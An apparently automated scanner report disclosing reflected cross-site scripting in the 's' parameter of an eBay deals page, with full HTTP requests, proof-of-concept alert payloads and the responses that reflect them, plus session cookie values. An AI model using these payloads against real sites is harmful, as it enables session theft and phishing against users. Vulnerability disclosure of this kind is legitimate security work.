XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, anywhere.ebay.com

XSS in s parameter

Report generated by XSS.Cx at Sat Jan 14 21:34:32 CST 2012.



1. Cross-site scripting (reflected)

1.1. http://anywhere.ebay.com/apps/deals/ [s parameter]

1.2. http://anywhere.ebay.com/apps/deals/ [s parameter]

2. Cross-domain Referer leakage

3. Cross-domain script include

4. Cookie without HttpOnly flag set

5. Content type incorrectly stated



1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://anywhere.ebay.com/apps/deals/ [s parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://anywhere.ebay.com
Path:   /apps/deals/

Issue detail

The value of the s request parameter is copied into the HTML document as plain text between tags. The payload e08c9<script>alert(1)</script>7617f696563 was submitted in the s parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /apps/deals/?s=%22%3E%3CiMg%20src=N%20onerror=alert(9)%3Ee08c9<script>alert(1)</script>7617f696563 HTTP/1.1
Host: anywhere.ebay.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: dp1=bvrvi/3%7C0%7C250737589656%7C8411760997%7C310365921702%7C4f1e1f04^pcid/yqK7Xb2N50f22384^mpc/0%7C04f1e1f04^pbf/%2340064002080004000000450f22384^tzo/16852d35769^u1p/QEBfX0BAX19AQA**50f22384^idm/14f11ae13^; nonsession=CgADKACBYdvGENjdhMzMyZGExMzQwYTAyNzZiODFiOGIxZmZmYzFmNWQAywABTxD3DDnWb+e2; lucky9=2930263; npii=btrm/svid%3D9115901167250f222a1^tguid/67a332da1340a0276b81b8b1fffc1f5d50f222a1^cguid/6796be8f1340a0a9e8e22482fd53d52a50f222a1^; cid=yqK7Xb2N; cssg=da213bac1340a47a34c3acf3fff20b6e

Response

HTTP/1.1 200 OK
Server: Apache/2.2.8 (CentOS)
X-Powered-By: PHP/5.2.10
Vary: Accept-Encoding
Content-Length: 11681
X-Cnection: close
Content-Type: text/html; charset=UTF-8
Expires: Sun, 15 Jan 2012 00:12:19 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 15 Jan 2012 00:12:19 GMT
Connection: close
Set-Cookie: country=%22%3E%3CiMg+src%3DN+onerror%3Dalert%289%29%3Ee08c9%3Cscript%3Ealert%281%29%3C%2Fscript%3E7617f696563; expires=Tue, 14-Feb-2012 00:12:18 GMT
Set-Cookie: BIGipServeranywhere-u-http-80=2054947338.20480.0000; path=/

<!DOCTYPE HTML>
<html>
<head>
   
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
   
<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">
<link rel="icon" href="/favicon.ico" />

<script type='text/javascript' src='js/jquery-1.4.2.js'></script>
   <script type='text/javascript' src='js/jquery.metadata.js'></script>
   <script type='text/javascript' src='js/jquery.auto-complete.js'></script>
   <script type='text/javascript' src='js/autocomplete.js'></script>
   
   <script type="text/javascript" src="js/jquery-1.4.2.min.js"></script>
<script type="text/javascript" src="js/javascript-cookies.js"></script>

   <title>eBay Deals</title>
   <meta name="language" content="english" />
   <meta name="description" content="Grab yourself a great deal!" />
   
   <meta name="application-name" content="eBay Homepage" />
   <meta name="msapplication-starturl" content="http://rover.ebay.com/rover/1/711-109288-23097-0/4?mfe=h&mpre=http://www.ebay.com" />
   <meta name="msapplication-tooltip" content="eBay - The World's Online Marketplace" />
   <meta name="msapplication-task" content="name=My eBay;action-uri=http://rover.ebay.com/rover/1/711-109288-23097-0/4?mfe=t1&mpre=http://my.ebay.com/;icon-uri=/favicon.ico" />
   <meta name="msapplication-task" content="name=Sell on eBay;action-uri=http://rover.ebay.com/rover/1/711-109288-23097-0/4?mfe=t2&mpre=http://sell.ebay.com/sell;icon-uri=/favicon.ico" />
   <meta name="msapplication-task" content="name=Daily Deals;action-uri=http://rover.ebay.com/rover/1/711-109288-23097-0/4?mfe=t3&mpre=http://anywhere.ebay.com/apps/deals/;icon-uri=/favicon.ico" />
   <meta name="msapplication-task" content="name=Fashion;action-uri=http://rover.ebay.com/rover/1/711-109288-23097-0/4?mfe=t4&mpre=http://fashion.ebay.com/;icon-uri=/favicon.ico" />
   <meta name="msapplication-task" content="name=Visit PayPal;action-uri=http://www.paypal.com;icon-uri=http://anywhere.ebay.com/resources/icons/paypal.ico" />
       
   <link rel='stylesheet' type='text/css' href='css/jquery.auto-complete.css' />

<link rel="stylesheet" type="text/css" href="css/styles_default.css" />
   <link rel="stylesheet" type="text/css" href="css/core.css" />

</head>
<body onload="trackFunc();">
<script type="text/javascript" src="js/dailyDeals.js"></script>
   
<script type="text/javascript">
       // share values with the client side
       isIE9 = 1;
       country = "><iMg src=N onerror=alert(9)>e08c9<script>alert(1)</script>7617f696563;
       currentPage = 'all';
       trackingCode = '711-117568-2056-0';
</script>


   <div id="pageWrap">

       <div class="masthead contain">
           <header>
               <div class="pageWrap">
       <a href="http://ebay.com" class="logoLink link logoImg" tabindex="1"><h1>ebay</h1></a>
        <nav>
        <ul>
        <li class="selected"><a href="?p=all&s="><iMg src=N onerror=alert(9)>e08c9<script>alert(1)</script>7617f696563" class="link" tabindex="4">All Deals</a></li>         </ul>
        </nav>
       <div id="searchZone">
           <input type="hidden" id="searchUrl" value="http://rover.ebay.com/rover/1/711-117568-2056-0/4?mpre=http://shop.ebay.com/" />
           <input type="text" class="searchField link tab-2" size="60" maxlength="300" value="" id="_nkw" name="_nkw" autocomplete="off" tabindex="2">
           <input type="button" id="searchBtn" class="button blue btnSmall link tab-3" value="Search" tabindex="3" onclick="doSearch()" />
            </div>
       </div>
           </header>
       </div><!-- }}} header -->

       <div class="pageWrap">

       <section>
           <div id="dailyDeals" class="floatLeft dailyUs">Daily Deals</div><h2 class="pageTitle">Grab yourself a great deal!</h2>
       
           <div class="dealItems contain clear" id="dealCarousel">
       
               <div class="dealItem" draggable="true" ondragstart="DragHandler(this, event)" style="left: 328px; z-index: 5; margin-top:-20px; display: none;" id="dealInfo">
                   <section>
                       <div class="mainDealContent contain">
                           <h3 id="dealInfoTitle" ></h3>
       
                           <div id="dealInfoImage"></div>
                           <div>
                           <p class="reduction" id="dealInfoSavings"></p>
       
                           <ul class="buyDetails">
                               <li class="rrp" id="dealInfoRRP"></li>
                               <li id="dealInfoPrice"></li>
                           </ul>
                           </div>
                       </div>
       
       
        <div class="dealOptions">
            <div class="dealOptionsLeft">
                               <span class="bold small">Postage:</span>
                               <div id="dealInfoFreeShipping" class="orangeText smaller bold">Free shipping</div>
                               
                           </div>
                           <div class="dealOptionsRight">
                               <span class="bold small">Payments</span>
                               <div id="dealInfoPayPal"><img alt="PayPal Accepted" src="images/payPalLogo.png" /></div>
                               
                           </div>
                       </div>
                       <div>
                           <div class="btnFav contain floatLeft marginT5" id="dealInfoAdded"><span class="smallHeart">Saved</span></div>
                           
                           <div class="floatRight marginT5">
                               <div id="dealInfoBuyItNow" class="link" ><a class="button link" href="#" target="_blank">View details</a></div>
               <div class="rrpLegal marginT5" id="dealInfoLegalText">*RRP as at 08/05/2010</div>
                           </div>
                           
                           <div onclick="addToFavorites(null)" onkeydown="enterToFavorites()" onfocus="favFocused=true;" id="dealInfoAddAsFav" class="button btnFav contain floatLeft marginT5 link" tabindex="7"><span id="plusOnSave" style="display: none;">+</span><span class="smallHeart">Save deal for later</span></div>
                           
                           
                       </div>
       
                   </section>
               </div>
               
               <div class="dealsTitle smallHeart"><p><span>+&nbsp;&nbsp;</span>Deals I'm interested in</p></div>
               <div id="dropZone">
                   <div id="favoriteItems"></div>
                   <div id="itemsToBeDropped" ondrop="DropHandler(this, event);dehighliteDropZone();" ondragenter="return false;" ondragover="highliteDropZone();return false;">
                       <div class="itemToBeDropped"><div id="firstItem"></div></div>
                       <div class="itemToBeDropped"><div class="toBeDropped"></div></div>
                       <div class="itemToBeDropped"><div class="toBeDropped"></div></div>
                       <div class="itemToBeDropped"><div class="toBeDropped"></div></div>
                       <div class="itemToBeDropped"><div class="toBeDropped"></div></div>
                       <div class="itemToBeDropped"><div class="toBeDropped"></div></div>
                   </div>
                   <div id="socialNetworksArea" >
                       <div id="shareThisSquare" class="orange">
                           <p>
                                    <img src="images/share-this-uk.gif" /></p>
                <div class="clear floatLeft"><a href="http://twitter.com/share?url=http://anywhere.ebay.com/apps/deals/?s="><iMg src=N onerror=alert(9)>e08c9<script>alert(1)</script>7617f696563&text=Grab yourself a great deal!" target="_blank" class="link"><img src="images/twtr-icon-colour.jpg" alt="Tweet" /><span>Tweet</span></a></div>
        <div class="clear floatLeft"><a href="http://www.facebook.com/sharer.php?u=http://anywhere.ebay.com/apps/deals/?s="><iMg src=N onerror=alert(9)>e08c9<script>alert(1)</script>7617f696563&t=Grab yourself a great deal!" target="_blank" class="link"><img src="images/fb-icon-colour.jpg" alt="Share" /><span>Share</span></a></div>
        <div class="clear floatLeft"><a href="http://www.stumbleupon.com/submit?url=http://anywhere.ebay.com/apps/deals/?s="><iMg src=N onerror=alert(9)>e08c9<script>alert(1)</script>7617f696563" target="_blank" class="link"><img src="images/su-icon-colour.jpg" alt="StumbleIt!"/><span>Stumble it!</span></a>
                           </div>
                        </div>    
                       
                       <div id="subscribeSquare" class="orange">
                           <p><img src="images/share-this-uk.gif" /></p>
        <div>
           <a id="addSlice" href="javascript:void(0)" class="link" onclick='addToFav();'><img src="images/webslice.gif" alt="webslice" /><span>Add web slice</span></a>
        </div>
        <div><a id="pinLink" href="javascript:void(0)" class="link" ><img src="images/pin.gif" alt="pin" /><span>Pin to start menu</span></a></div>
        </div>
                   </div>
               </div>
       
           </div><!-- }}} dealItems -->
       </section>

       <!-- footer -->
       <footer id="glbfooter">
           
<!--        language parameter for all countries IE9/Chome App-->
                                   
                       
           
           <!-- UK footer -->
                       
           <!-- US footer -->
                       <div id="footerLinks">
               <div class="floatLeft">
                   <ul>
                       <li><a rel="nofollow" class="link" target="_blank" href="http://pages.ebay.com/help/policies/privacy-policy.html">Privacy Policy</a></li>
                   </ul>
               </div>
               <div class="floatRight">
                   <ul>
                       <li style="float:right"><a rel="nofollow" class="link" href="/apps/deals/index.php?s=3">United Kingdom</a></li>
                       <li style="float:right"><a rel="nofollow" class="link" href="/apps/deals/index.php?s=15">Australia</a></li>
                       <li style="float:right"><a rel="nofollow" class="link" href="/apps/deals/index.php?s=77">Germany</a></li>
                   </ul>
               </div>
           </div>
                       
           <!-- German footer -->
                       
           <!-- Australian footer -->
                   </footer>
       
       <!-- }}} footer -->

   </div><!-- }}} pageWrap -->
   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
   <script type="text/javascript" src="js/browserExtensions.js"></script>
   <script type="text/javascript">
       //<![CDATA[
       jQuery().browserExtensionPrompt({
        targetNode : '#pageWrap', // Inserts alert before this ID
        browser : 'chrome',
        backgroundImg : 'images/bkGradient.png',
        icon : 'images/icon.png',
        introText : 'Stay connected to eBay anywhere online with the eBay extension for Google Chrome',
        closeButton : 'images/close.png',
        installText : 'Install now',
        installURL : 'https://clients2.google.com/service/update2/crx?response=redirect&x=id%3Dkhhckppjhonfmcpegdjdibmngahahhck%26uc%26lang%3Den&prod=chrome&prodversion=6.0.472.63',
        siteLinkText : 'Find out more',
        siteLinkURL : 'http://anywhere.ebay.com/browser/chrome/'
       });
       //]]>
   </script>

   
   <!-- LV -->
   
   <script type="text/javascript" src="http://include.ebaystatic.com/js/v/us/roverlv.js"></script>
   
   <script type="text/javascript">
   <!--
   function trackFunc() {
    _rover.setAppId(503);
    // Page Impression
    var pageImpEvent = 2040537;
    var impEvt=_rover.createPageImpEvent(pageImpEvent);
    impEvt.setLVTrk(true);
    ebayLVTr.setRover(_rover);
    ebayLVTr.setPageImpEvent(pageImpEvent);
    ebayLVTrClk._ebayLVTrackerClk_init_tracker();
    _rover.track();
   }
   //-->
   </script>
   <!-- End LV Tag -->
   
   <script type="text/javascript" charset="utf-8">
    var is_ssl = ("https:" == document.location.protocol);
    var asset_host = is_ssl ? "https://s3.amazonaws.com/getsatisfaction.com/" : "http://s3.amazonaws.com/getsatisfaction.com/";
    document.write(unescape("%3Cscript src='" + asset_host + "javascripts/feedback-v2.js' type='text/javascript'%3E%3C/script%3E"));
   </script>
   
   <script type="text/javascript" charset="utf-8">
    var feedback_widget_options = {};
   
    feedback_widget_options.display = "overlay";
    feedback_widget_options.company = "ebayextensions";
    feedback_widget_options.placement = "right";
    feedback_widget_options.color = "#222";
    feedback_widget_options.style = "idea";
    feedback_widget_options.product = "ebayextensions_daily_deals_app";
   
    feedback_widget_options.limit = "3";
   
    var feedback_widget = new GSFN.feedback_widget(feedback_widget_options);
   </script>
</body>
</html>

1.2. http://anywhere.ebay.com/apps/deals/ [s parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://anywhere.ebay.com
Path:   /apps/deals/

Issue detail

The value of the s request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 59565"%3balert(1)//4101641712 was submitted in the s parameter. This input was echoed as 59565";alert(1)//4101641712 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /apps/deals/?s=%22%3E%3CiMg%20src=N%20onerror=alert(9)%3E59565"%3balert(1)//4101641712 HTTP/1.1
Host: anywhere.ebay.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: dp1=bvrvi/3%7C0%7C250737589656%7C8411760997%7C310365921702%7C4f1e1f04^pcid/yqK7Xb2N50f22384^mpc/0%7C04f1e1f04^pbf/%2340064002080004000000450f22384^tzo/16852d35769^u1p/QEBfX0BAX19AQA**50f22384^idm/14f11ae13^; nonsession=CgADKACBYdvGENjdhMzMyZGExMzQwYTAyNzZiODFiOGIxZmZmYzFmNWQAywABTxD3DDnWb+e2; lucky9=2930263; npii=btrm/svid%3D9115901167250f222a1^tguid/67a332da1340a0276b81b8b1fffc1f5d50f222a1^cguid/6796be8f1340a0a9e8e22482fd53d52a50f222a1^; cid=yqK7Xb2N; cssg=da213bac1340a47a34c3acf3fff20b6e

Response

HTTP/1.1 200 OK
Server: Apache/2.2.8 (CentOS)
X-Powered-By: PHP/5.2.10
Vary: Accept-Encoding
Content-Length: 11611
X-Cnection: close
Content-Type: text/html; charset=UTF-8
Expires: Sun, 15 Jan 2012 00:12:17 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 15 Jan 2012 00:12:17 GMT
Connection: close
Set-Cookie: country=%22%3E%3CiMg+src%3DN+onerror%3Dalert%289%29%3E59565%22%3Balert%281%29%2F%2F4101641712; expires=Tue, 14-Feb-2012 00:12:17 GMT
Set-Cookie: BIGipServeranywhere-u-http-80=2071724554.20480.0000; path=/

<!DOCTYPE HTML>
<html>
<head>
   
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
   
<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">
<link rel="icon" href="/favicon.ico" />

<script type='text/javascript' src='js/jquery-1.4.2.js'></script>
   <script type='text/javascript' src='js/jquery.metadata.js'></script>
   <script type='text/javascript' src='js/jquery.auto-complete.js'></script>
   <script type='text/javascript' src='js/autocomplete.js'></script>
   
   <script type="text/javascript" src="js/jquery-1.4.2.min.js"></script>
<script type="text/javascript" src="js/javascript-cookies.js"></script>

   <title>eBay Deals</title>
   <meta name="language" content="english" />
   <meta name="description" content="Grab yourself a great deal!" />
   
   <meta name="application-name" content="eBay Homepage" />
   <meta name="msapplication-starturl" content="http://rover.ebay.com/rover/1/711-109288-23097-0/4?mfe=h&mpre=http://www.ebay.com" />
   <meta name="msapplication-tooltip" content="eBay - The World's Online Marketplace" />
   <meta name="msapplication-task" content="name=My eBay;action-uri=http://rover.ebay.com/rover/1/711-109288-23097-0/4?mfe=t1&mpre=http://my.ebay.com/;icon-uri=/favicon.ico" />
   <meta name="msapplication-task" content="name=Sell on eBay;action-uri=http://rover.ebay.com/rover/1/711-109288-23097-0/4?mfe=t2&mpre=http://sell.ebay.com/sell;icon-uri=/favicon.ico" />
   <meta name="msapplication-task" content="name=Daily Deals;action-uri=http://rover.ebay.com/rover/1/711-109288-23097-0/4?mfe=t3&mpre=http://anywhere.ebay.com/apps/deals/;icon-uri=/favicon.ico" />
   <meta name="msapplication-task" content="name=Fashion;action-uri=http://rover.ebay.com/rover/1/711-109288-23097-0/4?mfe=t4&mpre=http://fashion.ebay.com/;icon-uri=/favicon.ico" />
   <meta name="msapplication-task" content="name=Visit PayPal;action-uri=http://www.paypal.com;icon-uri=http://anywhere.ebay.com/resources/icons/paypal.ico" />
       
   <link rel='stylesheet' type='text/css' href='css/jquery.auto-complete.css' />

<link rel="stylesheet" type="text/css" href="css/styles_default.css" />
   <link rel="stylesheet" type="text/css" href="css/core.css" />

</head>
<body onload="trackFunc();">
<script type="text/javascript" src="js/dailyDeals.js"></script>
   
<script type="text/javascript">
       // share values with the client side
       isIE9 = 1;
       country = "><iMg src=N onerror=alert(9)>59565";alert(1)//4101641712;
       currentPage = 'all';
       trackingCode = '711-117568-2056-0';
</script>


   <div id="pageWrap">

       <div class="masthead contain">
           <header>
               <div class="pageWrap">
       <a href="http://ebay.com" class="logoLink link logoImg" tabindex="1"><h1>ebay</h1></a>
        <nav>
        <ul>
        <li class="selected"><a href="?p=all&s="><iMg src=N onerror=alert(9)>59565";alert(1)//4101641712" class="link" tabindex="4">All Deals</a></li>         </ul>
        </nav>
       <div id="searchZone">
           <input type="hidden" id="searchUrl" value="http://rover.ebay.com/rover/1/711-117568-2056-0/4?mpre=http://shop.ebay.com/" />
           <input type="text" class="searchField link tab-2" size="60" maxlength="300" value="" id="_nkw" name="_nkw" autocomplete="off" tabindex="2">
           <input type="button" id="searchBtn" class="button blue btnSmall link tab-3" value="Search" tabindex="3" onclick="doSearch()" />
            </div>
       </div>
           </header>
       </div><!-- }}} header -->

       <div class="pageWrap">

       <section>
           <div id="dailyDeals" class="floatLeft dailyUs">Daily Deals</div><h2 class="pageTitle">Grab yourself a great deal!</h2>
       
           <div class="dealItems contain clear" id="dealCarousel">
       
               <div class="dealItem" draggable="true" ondragstart="DragHandler(this, event)" style="left: 328px; z-index: 5; margin-top:-20px; display: none;" id="dealInfo">
                   <section>
                       <div class="mainDealContent contain">
                           <h3 id="dealInfoTitle" ></h3>
       
                           <div id="dealInfoImage"></div>
                           <div>
                           <p class="reduction" id="dealInfoSavings"></p>
       
                           <ul class="buyDetails">
                               <li class="rrp" id="dealInfoRRP"></li>
                               <li id="dealInfoPrice"></li>
                           </ul>
                           </div>
                       </div>
       
       
        <div class="dealOptions">
            <div class="dealOptionsLeft">
                               <span class="bold small">Postage:</span>
                               <div id="dealInfoFreeShipping" class="orangeText smaller bold">Free shipping</div>
                               
                           </div>
                           <div class="dealOptionsRight">
                               <span class="bold small">Payments</span>
                               <div id="dealInfoPayPal"><img alt="PayPal Accepted" src="images/payPalLogo.png" /></div>
                               
                           </div>
                       </div>
                       <div>
                           <div class="btnFav contain floatLeft marginT5" id="dealInfoAdded"><span class="smallHeart">Saved</span></div>
                           
                           <div class="floatRight marginT5">
                               <div id="dealInfoBuyItNow" class="link" ><a class="button link" href="#" target="_blank">View details</a></div>
               <div class="rrpLegal marginT5" id="dealInfoLegalText">*RRP as at 08/05/2010</div>
                           </div>
                           
                           <div onclick="addToFavorites(null)" onkeydown="enterToFavorites()" onfocus="favFocused=true;" id="dealInfoAddAsFav" class="button btnFav contain floatLeft marginT5 link" tabindex="7"><span id="plusOnSave" style="display: none;">+</span><span class="smallHeart">Save deal for later</span></div>
                           
                           
                       </div>
       
                   </section>
               </div>
               
               <div class="dealsTitle smallHeart"><p><span>+&nbsp;&nbsp;</span>Deals I'm interested in</p></div>
               <div id="dropZone">
                   <div id="favoriteItems"></div>
                   <div id="itemsToBeDropped" ondrop="DropHandler(this, event);dehighliteDropZone();" ondragenter="return false;" ondragover="highliteDropZone();return false;">
                       <div class="itemToBeDropped"><div id="firstItem"></div></div>
                       <div class="itemToBeDropped"><div class="toBeDropped"></div></div>
                       <div class="itemToBeDropped"><div class="toBeDropped"></div></div>
                       <div class="itemToBeDropped"><div class="toBeDropped"></div></div>
                       <div class="itemToBeDropped"><div class="toBeDropped"></div></div>
                       <div class="itemToBeDropped"><div class="toBeDropped"></div></div>
                   </div>
                   <div id="socialNetworksArea" >
                       <div id="shareThisSquare" class="orange">
                           <p>
                                    <img src="images/share-this-uk.gif" /></p>
                <div class="clear floatLeft"><a href="http://twitter.com/share?url=http://anywhere.ebay.com/apps/deals/?s="><iMg src=N onerror=alert(9)>59565";alert(1)//4101641712&text=Grab yourself a great deal!" target="_blank" class="link"><img src="images/twtr-icon-colour.jpg" alt="Tweet" /><span>Tweet</span></a></div>
        <div class="clear floatLeft"><a href="http://www.facebook.com/sharer.php?u=http://anywhere.ebay.com/apps/deals/?s="><iMg src=N onerror=alert(9)>59565";alert(1)//4101641712&t=Grab yourself a great deal!" target="_blank" class="link"><img src="images/fb-icon-colour.jpg" alt="Share" /><span>Share</span></a></div>
        <div class="clear floatLeft"><a href="http://www.stumbleupon.com/submit?url=http://anywhere.ebay.com/apps/deals/?s="><iMg src=N onerror=alert(9)>59565";alert(1)//4101641712" target="_blank" class="link"><img src="images/su-icon-colour.jpg" alt="StumbleIt!"/><span>Stumble it!</span></a>
                           </div>
                        </div>    
                       
                       <div id="subscribeSquare" class="orange">
                           <p><img src="images/share-this-uk.gif" /></p>
        <div>
           <a id="addSlice" href="javascript:void(0)" class="link" onclick='addToFav();'><img src="images/webslice.gif" alt="webslice" /><span>Add web slice</span></a>
        </div>
        <div><a id="pinLink" href="javascript:void(0)" class="link" ><img src="images/pin.gif" alt="pin" /><span>Pin to start menu</span></a></div>
        </div>
                   </div>
               </div>
       
           </div><!-- }}} dealItems -->
       </section>

       <!-- footer -->
       <footer id="glbfooter">
           
<!--        language parameter for all countries IE9/Chome App-->
                                   
                       
           
           <!-- UK footer -->
                       
           <!-- US footer -->
                       <div id="footerLinks">
               <div class="floatLeft">
                   <ul>
                       <li><a rel="nofollow" class="link" target="_blank" href="http://pages.ebay.com/help/policies/privacy-policy.html">Privacy Policy</a></li>
                   </ul>
               </div>
               <div class="floatRight">
                   <ul>
                       <li style="float:right"><a rel="nofollow" class="link" href="/apps/deals/index.php?s=3">United Kingdom</a></li>
                       <li style="float:right"><a rel="nofollow" class="link" href="/apps/deals/index.php?s=15">Australia</a></li>
                       <li style="float:right"><a rel="nofollow" class="link" href="/apps/deals/index.php?s=77">Germany</a></li>
                   </ul>
               </div>
           </div>
                       
           <!-- German footer -->
                       
           <!-- Australian footer -->
                   </footer>
       
       <!-- }}} footer -->

   </div><!-- }}} pageWrap -->
   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
   <script type="text/javascript" src="js/browserExtensions.js"></script>
   <script type="text/javascript">
       //<![CDATA[
       jQuery().browserExtensionPrompt({
        targetNode : '#pageWrap', // Inserts alert before this ID
        browser : 'chrome',
        backgroundImg : 'images/bkGradient.png',
        icon : 'images/icon.png',
        introText : 'Stay connected to eBay anywhere online with the eBay extension for Google Chrome',
        closeButton : 'images/close.png',
        installText : 'Install now',
        installURL : 'https://clients2.google.com/service/update2/crx?response=redirect&x=id%3Dkhhckppjhonfmcpegdjdibmngahahhck%26uc%26lang%3Den&prod=chrome&prodversion=6.0.472.63',
        siteLinkText : 'Find out more',
        siteLinkURL : 'http://anywhere.ebay.com/browser/chrome/'
       });
       //]]>
   </script>

   
   <!-- LV -->
   
   <script type="text/javascript" src="http://include.ebaystatic.com/js/v/us/roverlv.js"></script>
   
   <script type="text/javascript">
   <!--
   function trackFunc() {
    _rover.setAppId(503);
    // Page Impression
    var pageImpEvent = 2040537;
    var impEvt=_rover.createPageImpEvent(pageImpEvent);
    impEvt.setLVTrk(true);
    ebayLVTr.setRover(_rover);
    ebayLVTr.setPageImpEvent(pageImpEvent);
    ebayLVTrClk._ebayLVTrackerClk_init_tracker();
    _rover.track();
   }
   //-->
   </script>
   <!-- End LV Tag -->
   
   <script type="text/javascript" charset="utf-8">
    var is_ssl = ("https:" == document.location.protocol);
    var asset_host = is_ssl ? "https://s3.amazonaws.com/getsatisfaction.com/" : "http://s3.amazonaws.com/getsatisfaction.com/";
    document.write(unescape("%3Cscript src='" + asset_host + "javascripts/feedback-v2.js' type='text/javascript'%3E%3C/script%3E"));
   </script>
   
   <script type="text/javascript" charset="utf-8">
    var feedback_widget_options = {};
   
    feedback_widget_options.display = "overlay";
    feedback_widget_options.company = "ebayextensions";
    feedback_widget_options.placement = "right";
    feedback_widget_options.color = "#222";
    feedback_widget_options.style = "idea";
    feedback_widget_options.product = "ebayextensions_daily_deals_app";
   
    feedback_widget_options.limit = "3";
   
    var feedback_widget = new GSFN.feedback_widget(feedback_widget_options);
   </script>
</body>
</html>

2. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://anywhere.ebay.com
Path:   /apps/deals/

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /apps/deals/?s=%22%3E%3CiMg%20src=N%20onerror=alert(9)%3E HTTP/1.1
Host: anywhere.ebay.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
